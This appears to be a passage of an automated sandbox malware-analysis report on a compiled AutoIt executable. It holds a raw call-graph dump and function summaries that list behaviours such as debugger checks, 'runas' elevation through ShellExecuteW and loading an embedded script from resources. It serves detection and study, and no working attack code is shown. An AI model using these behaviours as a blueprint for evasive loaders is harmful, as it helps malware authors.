94712->95001 94715 7ff69db36542 94714->94715 94716 7ff69db3653d 94714->94716 94718 7ff69db36558 94715->94718 94719 7ff69db3656f FreeLibrary 94715->94719 94717 7ff69db64970 62 API calls 94716->94717 94717->94715 94718->94521 94719->94718 94721 7ff69db3a7c0 4 API calls 94720->94721 94722 7ff69db39d99 94721->94722 94722->94612 94724 7ff69db36490 94723->94724 94725 7ff69db36d74 LoadLibraryA 94723->94725 94724->94626 94724->94629 94725->94724 94726 7ff69db36d89 GetProcAddress 94725->94726 94726->94724 94730 7ff69db647fc 94727->94730 94728 7ff69db6482a 94788 7ff69db655d4 15 API calls _set_fmode 94728->94788 94730->94728 94732 7ff69db6485c 94730->94732 94731 7ff69db6482f 94789 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94731->94789 94734 7ff69db64862 94732->94734 94735 7ff69db6486f 94732->94735 94790 7ff69db655d4 15 API calls _set_fmode 94734->94790 94776 7ff69db6feb4 94735->94776 94737 7ff69db364cf 94737->94632 94737->94633 94740 7ff69db64883 94791 7ff69db655d4 15 API calls _set_fmode 94740->94791 94741 7ff69db64890 94783 7ff69db70304 94741->94783 94744 7ff69db648a3 94792 7ff69db5df60 LeaveCriticalSection 94744->94792 94930 7ff69db36d1c 94746->94930 94749 7ff69db36cf1 94751 7ff69db36d0f FreeLibrary 94749->94751 94752 7ff69db364f7 94749->94752 94750 7ff69db36d1c 2 API calls 94750->94749 94751->94752 94753 7ff69db36580 94752->94753 94754 7ff69db54c68 4 API calls 94753->94754 94755 7ff69db365b5 memcpy_s 94754->94755 94756 7ff69db7c9f5 94755->94756 94757 7ff69db36740 CreateStreamOnHGlobal 94755->94757 94760 7ff69db36602 94755->94760 94934 7ff69dbb2e00 45 API calls 94756->94934 94758 7ff69db36759 FindResourceExW 94757->94758 94757->94760 94758->94760 94761 7ff69db7c97e LoadResource 94760->94761 94763 7ff69db367d8 45 API calls 94760->94763 94764 7ff69db7c9fd 94760->94764 94767 7ff69db366e8 94760->94767 94761->94760 94762 7ff69db7c997 SizeofResource 94761->94762 94762->94760 94765 7ff69db7c9ae LockResource 94762->94765 94763->94760 94766 7ff69db367d8 45 API calls 94764->94766 94765->94760 94766->94767 94767->94641 94769 7ff69db7ca6c 94768->94769 94770 7ff69db367f7 94768->94770 94935 7ff69db64c5c 94770->94935 94773 7ff69dbb240c 94954 7ff69dbb2200 94773->94954 94775 7ff69dbb2430 94775->94648 94793 7ff69db6b9bc EnterCriticalSection 94776->94793 94778 7ff69db6fecb 94779 7ff69db6ff54 18 API calls 94778->94779 94780 7ff69db6fed6 94779->94780 94781 7ff69db6ba10 _isindst LeaveCriticalSection 94780->94781 94782 7ff69db64879 94781->94782 94782->94740 94782->94741 94794 7ff69db70040 94783->94794 94786 7ff69db7035e 94786->94744 94788->94731 94789->94737 94790->94737 94791->94737 94799 7ff69db7007d try_get_function 94794->94799 94796 7ff69db702de 94813 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94796->94813 94798 7ff69db7021a 94798->94786 94806 7ff69db77738 94798->94806 94799->94799 94802 7ff69db70211 94799->94802 94809 7ff69db5db68 37 API calls 4 library calls 94799->94809 94801 7ff69db70277 94801->94802 94810 7ff69db5db68 37 API calls 4 library calls 94801->94810 94802->94798 94812 7ff69db655d4 15 API calls _set_fmode 94802->94812 94804 7ff69db7029a 94804->94802 94811 7ff69db5db68 37 API calls 4 library calls 94804->94811 94814 7ff69db76d04 94806->94814 94809->94801 94810->94804 94811->94802 94812->94796 94813->94798 94815 7ff69db76d28 94814->94815 94816 7ff69db76d40 94814->94816 94868 7ff69db655d4 15 API calls _set_fmode 94815->94868 94816->94815 94819 7ff69db76d6d 94816->94819 94818 7ff69db76d2d 94869 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94818->94869 94825 7ff69db77348 94819->94825 94823 7ff69db76d39 94823->94786 94871 7ff69db77078 94825->94871 94828 7ff69db773bc 94903 7ff69db655b4 15 API calls _set_fmode 94828->94903 94829 7ff69db773d3 94891 7ff69db6e418 94829->94891 94833 7ff69db773f7 CreateFileW 94836 7ff69db774eb GetFileType 94833->94836 94840 7ff69db77469 94833->94840 94834 7ff69db773df 94905 7ff69db655b4 15 API calls _set_fmode 94834->94905 94842 7ff69db774f8 GetLastError 94836->94842 94843 7ff69db77549 94836->94843 94838 7ff69db773e4 94906 7ff69db655d4 15 API calls _set_fmode 94838->94906 94839 7ff69db774b8 GetLastError 94907 7ff69db65564 15 API calls 2 library calls 94839->94907 94840->94839 94845 7ff69db77478 CreateFileW 94840->94845 94841 7ff69db76d95 94841->94823 94870 7ff69db6e3f4 LeaveCriticalSection 94841->94870 94908 7ff69db65564 15 API calls 2 library calls 94842->94908 94910 7ff69db6e334 16 API calls 2 library calls 94843->94910 94845->94836 94845->94839 94848 7ff69db77507 CloseHandle 94849 7ff69db773c1 94848->94849 94850 7ff69db77539 94848->94850 94904 7ff69db655d4 15 API calls _set_fmode 94849->94904 94909 7ff69db655d4 15 API calls _set_fmode 94850->94909 94853 7ff69db77568 94855 7ff69db775b5 94853->94855 94911 7ff69db77284 67 API calls 2 library calls 94853->94911 94854 7ff69db7753e 94854->94849 94859 7ff69db775ec 94855->94859 94912 7ff69db76de4 67 API calls 4 library calls 94855->94912 94858 7ff69db775e8 94858->94859 94860 7ff69db775fe 94858->94860 94913 7ff69db704b8 94859->94913 94860->94841 94862 7ff69db77681 CloseHandle CreateFileW 94860->94862 94863 7ff69db776cb GetLastError 94862->94863 94864 7ff69db776f9 94862->94864 94928 7ff69db65564 15 API calls 2 library calls 94863->94928 94864->94841 94866 7ff69db776d8 94929 7ff69db6e548 16 API calls 2 library calls 94866->94929 94868->94818 94869->94823 94872 7ff69db770a4 94871->94872 94878 7ff69db770be 94871->94878 94873 7ff69db655d4 _set_fmode 15 API calls 94872->94873 94872->94878 94874 7ff69db770b3 94873->94874 94875 7ff69db6b164 _invalid_parameter_noinfo 31 API calls 94874->94875 94875->94878 94876 7ff69db7718c 94880 7ff69db62554 31 API calls 94876->94880 94884 7ff69db771ec 94876->94884 94877 7ff69db7713b 94877->94876 94879 7ff69db655d4 _set_fmode 15 API calls 94877->94879 94878->94877 94882 7ff69db655d4 _set_fmode 15 API calls 94878->94882 94883 7ff69db77181 94879->94883 94881 7ff69db771e8 94880->94881 94881->94884 94885 7ff69db7726b 94881->94885 94886 7ff69db77130 94882->94886 94887 7ff69db6b164 _invalid_parameter_noinfo 31 API calls 94883->94887 94884->94828 94884->94829 94888 7ff69db6b184 _invalid_parameter_noinfo 16 API calls 94885->94888 94889 7ff69db6b164 _invalid_parameter_noinfo 31 API calls 94886->94889 94887->94876 94890 7ff69db77280 94888->94890 94889->94877 94892 7ff69db6b9bc _isindst EnterCriticalSection 94891->94892 94899 7ff69db6e43b 94892->94899 94893 7ff69db6e464 94895 7ff69db6e170 16 API calls 94893->94895 94894 7ff69db6ba10 _isindst LeaveCriticalSection 94896 7ff69db6e52a 94894->94896 94897 7ff69db6e469 94895->94897 94896->94833 94896->94834 94900 7ff69db6e487 94897->94900 94902 7ff69db6e310 wprintf EnterCriticalSection 94897->94902 94898 7ff69db6e4c2 EnterCriticalSection 94898->94900 94901 7ff69db6e4d1 LeaveCriticalSection 94898->94901 94899->94893 94899->94898 94899->94900 94900->94894 94901->94899 94902->94900 94903->94849 94904->94841 94905->94838 94906->94849 94907->94849 94908->94848 94909->94854 94910->94853 94911->94855 94912->94858 94914 7ff69db6e604 31 API calls 94913->94914 94916 7ff69db704cc 94914->94916 94915 7ff69db704d2 94917 7ff69db6e548 16 API calls 94915->94917 94916->94915 94918 7ff69db7050c 94916->94918 94920 7ff69db6e604 31 API calls 94916->94920 94919 7ff69db70534 94917->94919 94918->94915 94921 7ff69db6e604 31 API calls 94918->94921 94923 7ff69db70560 94919->94923 94926 7ff69db65564 fread_s 15 API calls 94919->94926 94924 7ff69db704ff 94920->94924 94922 7ff69db70518 CloseHandle 94921->94922 94922->94915 94925 7ff69db70525 GetLastError 94922->94925 94923->94841 94927 7ff69db6e604 31 API calls 94924->94927 94925->94915 94926->94923 94927->94918 94928->94866 94929->94864 94931 7ff69db36d2c LoadLibraryA 94930->94931 94932 7ff69db36ce3 94930->94932 94931->94932 94933 7ff69db36d41 GetProcAddress 94931->94933 94932->94749 94932->94750 94933->94932 94934->94764 94938 7ff69db64c7c 94935->94938 94939 7ff69db64ca6 94938->94939 94950 7ff69db3680a 94938->94950 94940 7ff69db64cd7 94939->94940 94944 7ff69db64cb5 __scrt_get_show_window_mode 94939->94944 94939->94950 94953 7ff69db5df54 EnterCriticalSection 94940->94953 94951 7ff69db655d4 15 API calls _set_fmode 94944->94951 94945 7ff69db64cca 94952 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94945->94952 94950->94773 94951->94945 94952->94950 94957 7ff69db647bc 94954->94957 94956 7ff69dbb2210 94956->94775 94960 7ff69db64724 94957->94960 94961 7ff69db64746 94960->94961 94962 7ff69db64732 94960->94962 94963 7ff69db64742 94961->94963 94970 7ff69db6bef8 6 API calls __crtLCMapStringW 94961->94970 94968 7ff69db655d4 15 API calls _set_fmode 94962->94968 94963->94956 94966 7ff69db64737 94969 7ff69db6b164 31 API calls _invalid_parameter_noinfo 94966->94969 94968->94966 94969->94963 94970->94963 94972 7ff69db41a48 94971->94972 94973 7ff69db41c5f 94971->94973 94979 7ff69db41a90 94972->94979 94988 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94972->94988 94973->94651 94979->94651 94983 7ff69db3f1ce 94982->94983 94985 7ff69db3f1d8 94982->94985 94984 7ff69db41a30 45 API calls 94983->94984 94984->94985 94985->94661 94986->94659 94987->94655 94989->94674 94990->94678 94991->94673 94992->94680 94993->94683 94994->94695 94995->94693 95000 7ff69dbb2bae 94996->95000 94997 7ff69db367d8 45 API calls 94997->95000 94998 7ff69dbb29da 94998->94700 94998->94701 94999 7ff69dbb240c 32 API calls 94999->95000 95000->94997 95000->94998 95000->94999 95002 7ff69dbb1d61 95001->95002 95003 7ff69dbb1d71 95001->95003 95004 7ff69db648e0 89 API calls 95002->95004 95005 7ff69dbb1dbf 95003->95005 95006 7ff69dbb1d7a 95003->95006 95007 7ff69db648e0 89 API calls 95003->95007 95004->95003 95028 7ff69dbb2038 95005->95028 95006->94700 95009 7ff69dbb1d9e 95007->95009 95009->95005 95011 7ff69dbb1da7 95009->95011 95010 7ff69dbb1df5 95012 7ff69dbb1df9 95010->95012 95013 7ff69dbb1e1c 95010->95013 95011->95006 95040 7ff69db64970 95011->95040 95014 7ff69dbb1e07 95012->95014 95016 7ff69db64970 62 API calls 95012->95016 95018 7ff69dbb1e4a 95013->95018 95019 7ff69dbb1e2a 95013->95019 95014->95006 95017 7ff69db64970 62 API calls 95014->95017 95016->95014 95017->95006 95032 7ff69dbb1e88 95018->95032 95021 7ff69dbb1e38 95019->95021 95022 7ff69db64970 62 API calls 95019->95022 95021->95006 95023 7ff69db64970 62 API calls 95021->95023 95022->95021 95023->95006 95024 7ff69dbb1e52 95025 7ff69dbb1e68 95024->95025 95026 7ff69db64970 62 API calls 95024->95026 95025->95006 95027 7ff69db64970 62 API calls 95025->95027 95026->95025 95027->95006 95029 7ff69dbb2069 95028->95029 95031 7ff69dbb2056 memcpy_s 95028->95031 95030 7ff69db64c5c _fread_nolock 45 API calls 95029->95030 95030->95031 95031->95010 95033 7ff69dbb1fb0 95032->95033 95039 7ff69dbb1eaa 95032->95039 95035 7ff69dbb1fd3 95033->95035 95054 7ff69db62a04 60 API calls 2 library calls 95033->95054 95035->95024 95036 7ff69dbb1bd0 45 API calls 95036->95039 95039->95033 95039->95035 95039->95036 95052 7ff69dbb1c9c 45 API calls 95039->95052 95053 7ff69dbb20cc 60 API calls 95039->95053 95041 7ff69db6498e 95040->95041 95043 7ff69db649a3 95040->95043 95056 7ff69db655d4 15 API calls _set_fmode 95041->95056 95050 7ff69db6499e 95043->95050 95055 7ff69db5df54 EnterCriticalSection 95043->95055 95045 7ff69db64993 95057 7ff69db6b164 31 API calls _invalid_parameter_noinfo 95045->95057 95046 7ff69db649b9 95048 7ff69db648ec 60 API calls 95046->95048 95049 7ff69db649c2 95048->95049 95051 7ff69db5df60 fflush LeaveCriticalSection 95049->95051 95050->95006 95051->95050 95052->95039 95053->95039 95054->95035 95056->95045 95057->95050 95059 7ff69db78f90 wcsftime 95058->95059 95060 7ff69db33ec4 GetLongPathNameW 95059->95060 95061 7ff69db37cf4 4 API calls 95060->95061 95062 7ff69db33eed 95061->95062 95063 7ff69db34074 95062->95063 95064 7ff69db39640 4 API calls 95063->95064 95065 7ff69db3408e 95064->95065 95066 7ff69db356d4 5 API calls 95065->95066 95067 7ff69db3409b 95066->95067 95068 7ff69db7bada 95067->95068 95069 7ff69db340a7 95067->95069 95074 7ff69db7bb0f 95068->95074 95110 7ff69db51ad0 CompareStringW 95068->95110 95071 7ff69db34680 4 API calls 95069->95071 95072 7ff69db340b5 95071->95072 95106 7ff69db340e8 95072->95106 95075 7ff69db340cb Concurrency::wait 95075->94584 95077 7ff69db36460 105 API calls 95076->95077 95078 7ff69db363e5 95077->95078 95079 7ff69db7c656 95078->95079 95081 7ff69db36460 105 API calls 95078->95081 95080 7ff69dbb2948 90 API calls 95079->95080 95082 7ff69db7c66e 95080->95082 95083 7ff69db36400 95081->95083 95084 7ff69db7c672 95082->95084 95085 7ff69db7c690 95082->95085 95083->95079 95086 7ff69db36408 95083->95086 95087 7ff69db3652c 63 API calls 95084->95087 95088 7ff69db54c68 4 API calls 95085->95088 95089 7ff69db7c67b 95086->95089 95090 7ff69db36414 95086->95090 95087->95089 95102 7ff69db7c6dd Concurrency::wait 95088->95102 95112 7ff69dbac5c8 77 API calls wprintf 95089->95112 95111 7ff69db3e774 143 API calls Concurrency::wait 95090->95111 95093 7ff69db36438 95093->94577 95094 7ff69db7c68a 95094->95085 95095 7ff69db7c895 95096 7ff69db3652c 63 API calls 95095->95096 95101 7ff69db7c8a9 95096->95101 95101->95095 95118 7ff69dba76d8 77 API calls 3 library calls 95101->95118 95102->95095 95102->95101 95103 7ff69db3ec00 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95102->95103 95113 7ff69dba7400 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95102->95113 95114 7ff69dba730c 39 API calls 95102->95114 95115 7ff69dbb0210 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95102->95115 95116 7ff69db3b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95102->95116 95117 7ff69db39940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95102->95117 95103->95102 95107 7ff69db34107 95106->95107 95109 7ff69db34130 memcpy_s 95106->95109 95108 7ff69db54c68 4 API calls 95107->95108 95108->95109 95109->95075 95110->95068 95111->95093 95112->95094 95113->95102 95114->95102 95115->95102 95116->95102 95117->95102 95118->95101 95120 7ff69db3988d 95119->95120 95121 7ff69db39762 95119->95121 95120->94589 95121->95120 95122 7ff69db54c68 4 API calls 95121->95122 95125 7ff69db39791 95122->95125 95123 7ff69db54c68 4 API calls 95124 7ff69db3981c 95123->95124 95124->95120 95131 7ff69db3abe0 81 API calls 2 library calls 95124->95131 95132 7ff69db39940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95124->95132 95133 7ff69db3b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95124->95133 95125->95123 95129->94591 95130->94593 95131->95124 95132->95124 95133->95124 95134->94604 95135 7ff69db6a2c4 95136 7ff69db6a2dd 95135->95136 95137 7ff69db6a2d9 95135->95137 95145 7ff69db73e9c GetEnvironmentStringsW 95136->95145 95140 7ff69db6a2ea 95142 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 95140->95142 95142->95137 95143 7ff69db6a2f7 95144 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 95143->95144 95144->95140 95146 7ff69db6a2e2 95145->95146 95147 7ff69db73ec0 95145->95147 95146->95140 95152 7ff69db6a428 31 API calls 3 library calls 95146->95152 95147->95147 95153 7ff69db6c51c 95147->95153 95149 7ff69db73ef2 memcpy_s 95150 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 95149->95150 95151 7ff69db73f12 FreeEnvironmentStringsW 95150->95151 95151->95146 95152->95143 95154 7ff69db6c52b _mbstowcs_s_l 95153->95154 95155 7ff69db6c567 95153->95155 95154->95155 95157 7ff69db6c54e HeapAlloc 95154->95157 95160 7ff69db5925c EnterCriticalSection LeaveCriticalSection _mbstowcs_s_l 95154->95160 95161 7ff69db655d4 15 API calls _set_fmode 95155->95161 95157->95154 95158 7ff69db6c565 95157->95158 95158->95149 95160->95154 95161->95158 95162 7ff69db447e1 95163 7ff69db44d57 95162->95163 95167 7ff69db447f2 95162->95167 95193 7ff69db3ee20 5 API calls Concurrency::wait 95163->95193 95165 7ff69db44d66 95194 7ff69db3ee20 5 API calls Concurrency::wait 95165->95194 95167->95165 95168 7ff69db44862 95167->95168 95169 7ff69db44df3 95167->95169 95171 7ff69db466c0 300 API calls 95168->95171 95179 7ff69db43c80 95168->95179 95195 7ff69dbb0978 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95169->95195 95171->95179 95172 7ff69db905be 95197 7ff69dbb34e4 77 API calls 3 library calls 95172->95197 95174 7ff69db44a8f 95178 7ff69db44ac0 95174->95178 95182 7ff69db8fefe 95174->95182 95187 7ff69db44aa9 95174->95187 95176 7ff69db905d1 95177 7ff69db54f0c 34 API calls __scrt_initialize_thread_safe_statics 95177->95179 95179->95172 95179->95174 95179->95177 95180 7ff69db44fe7 95179->95180 95183 7ff69db43dde 95179->95183 95185 7ff69db3e0a8 4 API calls 95179->95185 95179->95187 95189 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95179->95189 95190 7ff69db39640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95179->95190 95191 7ff69db550b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 95179->95191 95192 7ff69db45360 300 API calls Concurrency::wait 95179->95192 95196 7ff69dbb34e4 77 API calls 3 library calls 95179->95196 95184 7ff69db3e0a8 4 API calls 95180->95184 95181 7ff69db3e0a8 4 API calls 95181->95183 95186 7ff69db3e0a8 4 API calls 95182->95186 95184->95183 95185->95179 95186->95178 95187->95178 95187->95181 95189->95179 95190->95179 95191->95179 95192->95179 95193->95165 95194->95169 95195->95179 95196->95179 95197->95176 95198 7ff69db590e0 95205 7ff69db6af30 95198->95205 95200 7ff69db590e5 95201 7ff69db6ba10 _isindst LeaveCriticalSection 95200->95201 95202 7ff69db590f0 95201->95202 95203 7ff69db590fc 95202->95203 95204 7ff69db59118 11 API calls 95202->95204 95204->95203 95210 7ff69db6b778 GetLastError 95205->95210 95209 7ff69db6af3b 95231 7ff69db6b26c 35 API calls abort 95209->95231 95211 7ff69db6b795 95210->95211 95212 7ff69db6b7a2 95210->95212 95232 7ff69db6bd6c 6 API calls __crtLCMapStringW 95211->95232 95233 7ff69db6dda8 15 API calls 2 library calls 95212->95233 95215 7ff69db6b79a 95215->95212 95217 7ff69db6b7e3 95215->95217 95216 7ff69db6b7b1 95218 7ff69db6b7b9 95216->95218 95234 7ff69db6bdc4 6 API calls __crtLCMapStringW 95216->95234 95220 7ff69db6b7e8 SetLastError 95217->95220 95221 7ff69db6b7fe SetLastError 95217->95221 95222 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 95218->95222 95220->95209 95236 7ff69db6b26c 35 API calls abort 95221->95236 95225 7ff69db6b7c0 95222->95225 95223 7ff69db6b7d0 95223->95218 95226 7ff69db6b7d7 95223->95226 95225->95221 95235 7ff69db6b528 15 API calls _mbstowcs_s_l 95226->95235 95229 7ff69db6b7dc 95230 7ff69db6b3c0 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 95229->95230 95230->95217 95232->95215 95233->95216 95234->95223 95235->95229

                                                            Executed Functions

                                                            Function 00007FF69DB337B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145windowCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB337F2
                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB33807
                                                            • GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB3388D
                                                              • Part of subcall function 00007FF69DB33F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF69DB338BF,?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB33FFD
                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB33924
                                                            • MessageBoxA.USER32 ref: 00007FF69DB7B888
                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB7B8E1
                                                            • GetForegroundWindow.USER32(?,?,?,?,?,00007FF69DB33785), ref: 00007FF69DB7B968
                                                            • ShellExecuteW.SHELL32 ref: 00007FF69DB7B98F
                                                              • Part of subcall function 00007FF69DB33B84: GetSysColorBrush.USER32 ref: 00007FF69DB33B9E
                                                              • Part of subcall function 00007FF69DB33B84: LoadCursorW.USER32 ref: 00007FF69DB33BAE
                                                              • Part of subcall function 00007FF69DB33B84: LoadIconW.USER32 ref: 00007FF69DB33BC3
                                                              • Part of subcall function 00007FF69DB33B84: LoadIconW.USER32 ref: 00007FF69DB33BDC
                                                              • Part of subcall function 00007FF69DB33B84: LoadIconW.USER32 ref: 00007FF69DB33BF5
                                                              • Part of subcall function 00007FF69DB33B84: LoadImageW.USER32 ref: 00007FF69DB33C21
                                                              • Part of subcall function 00007FF69DB33B84: RegisterClassExW.USER32 ref: 00007FF69DB33C85
                                                              • Part of subcall function 00007FF69DB33CBC: CreateWindowExW.USER32 ref: 00007FF69DB33D0C
                                                              • Part of subcall function 00007FF69DB33CBC: CreateWindowExW.USER32 ref: 00007FF69DB33D5F
                                                              • Part of subcall function 00007FF69DB33CBC: ShowWindow.USER32 ref: 00007FF69DB33D75
                                                              • Part of subcall function 00007FF69DB36258: Shell_NotifyIconW.SHELL32 ref: 00007FF69DB36350
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
                                                            • String ID: This is a third-party compiled AutoIt script.$runas
                                                            • API String ID: 1593035822-3287110873
                                                            • Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                            • Instruction ID: 66a65fbfea00553146ef5d92b89d3ccc2744dbb56b58ba9926b0b305cf6616d0
                                                            • Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                            • Instruction Fuzzy Hash: F37160A1D1D683D6EA309B64E8501F9A374FF52358F8011B2D5CDC76AAFE2CE64AD700
                                                            Function 00007FF69DB36580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 352 7ff69db36580-7ff69db365fc call 7ff69db54c68 call 7ff69db36c98 call 7ff69db55d00 359 7ff69db36737-7ff69db3673a 352->359 360 7ff69db36602-7ff69db36606 352->360 361 7ff69db7c9f5-7ff69db7c9fd call 7ff69dbb2e00 359->361 362 7ff69db36740-7ff69db36753 CreateStreamOnHGlobal 359->362 363 7ff69db3660c-7ff69db36617 call 7ff69db65514 360->363 364 7ff69db7ca03-7ff69db7ca1e 360->364 361->364 362->360 365 7ff69db36759-7ff69db36777 FindResourceExW 362->365 373 7ff69db3661b-7ff69db3664e call 7ff69db367d8 363->373 374 7ff69db7ca27-7ff69db7ca60 call 7ff69db36810 call 7ff69db367d8 364->374 365->360 369 7ff69db3677d 365->369 372 7ff69db7c97e-7ff69db7c991 LoadResource 369->372 372->360 375 7ff69db7c997-7ff69db7c9a8 SizeofResource 372->375 380 7ff69db366e8 373->380 381 7ff69db36654-7ff69db3665f 373->381 387 7ff69db366ee 374->387 397 7ff69db7ca66 374->397 375->360 378 7ff69db7c9ae-7ff69db7c9ba LockResource 375->378 378->360 383 7ff69db7c9c0-7ff69db7c9f0 378->383 380->387 384 7ff69db36661-7ff69db3666f 381->384 385 7ff69db366ae-7ff69db366b2 381->385 383->360 388 7ff69db36670-7ff69db3667d 384->388 385->380 389 7ff69db366b4-7ff69db366cf call 7ff69db36810 385->389 392 7ff69db366f1-7ff69db36715 387->392 395 7ff69db36680-7ff69db3668f 388->395 389->373 393 7ff69db36729-7ff69db36736 392->393 394 7ff69db36717-7ff69db36724 call 7ff69db54c24 * 2 392->394 394->393 399 7ff69db36691-7ff69db36695 395->399 400 7ff69db366d4-7ff69db366dd 395->400 397->392 399->374 404 7ff69db3669b-7ff69db366a8 399->404 405 7ff69db36782-7ff69db3678c 400->405 406 7ff69db366e3-7ff69db366e6 400->406 404->388 408 7ff69db366aa 404->408 409 7ff69db36797-7ff69db367a1 405->409 410 7ff69db3678e 405->410 406->399 408->385 411 7ff69db367ce 409->411 412 7ff69db367a3-7ff69db367ad 409->412 410->409 411->372 413 7ff69db367c6 412->413 414 7ff69db367af-7ff69db367bb 412->414 413->411 414->395 415 7ff69db367c1 414->415 415->413
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                            • String ID: AU3!$EA06$SCRIPT
                                                            • API String ID: 3051347437-2925976212
                                                            • Opcode ID: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
                                                            • Instruction ID: 01b6ec17ec0eae964fc06df896ef1d218d8953cfeb606aed8f0a44d7e7feef16
                                                            • Opcode Fuzzy Hash: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
                                                            • Instruction Fuzzy Hash: 3791D1B2B0A64187EB34CB21D444ABC6BA4FB46BC4F4141B5DE9D87B89EF38E404D300
                                                            Function 00007FF69DB51D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 482 7ff69db51d80-7ff69db51e17 call 7ff69db39640 GetVersionExW call 7ff69db37cf4 487 7ff69db99450 482->487 488 7ff69db51e1d 482->488 490 7ff69db99457-7ff69db9945d 487->490 489 7ff69db51e20-7ff69db51e46 call 7ff69db3dda4 488->489 496 7ff69db51e4c 489->496 497 7ff69db51fc1 489->497 491 7ff69db99463-7ff69db99480 490->491 491->491 493 7ff69db99482-7ff69db99485 491->493 493->489 495 7ff69db9948b-7ff69db99491 493->495 495->490 498 7ff69db99493 495->498 499 7ff69db51e53-7ff69db51e59 496->499 497->487 501 7ff69db99498-7ff69db994a1 498->501 500 7ff69db51e5f-7ff69db51e7c 499->500 500->500 502 7ff69db51e7e-7ff69db51e81 500->502 501->499 503 7ff69db994a7 501->503 502->501 504 7ff69db51e87-7ff69db51ed6 call 7ff69db3dda4 502->504 503->497 507 7ff69db51edc-7ff69db51ede 504->507 508 7ff69db99645-7ff69db9964d 504->508 509 7ff69db51ee4-7ff69db51efa 507->509 510 7ff69db994ac-7ff69db994af 507->510 511 7ff69db9964f-7ff69db99658 508->511 512 7ff69db9965a-7ff69db9965d 508->512 515 7ff69db99572-7ff69db99579 509->515 516 7ff69db51f00-7ff69db51f02 509->516 517 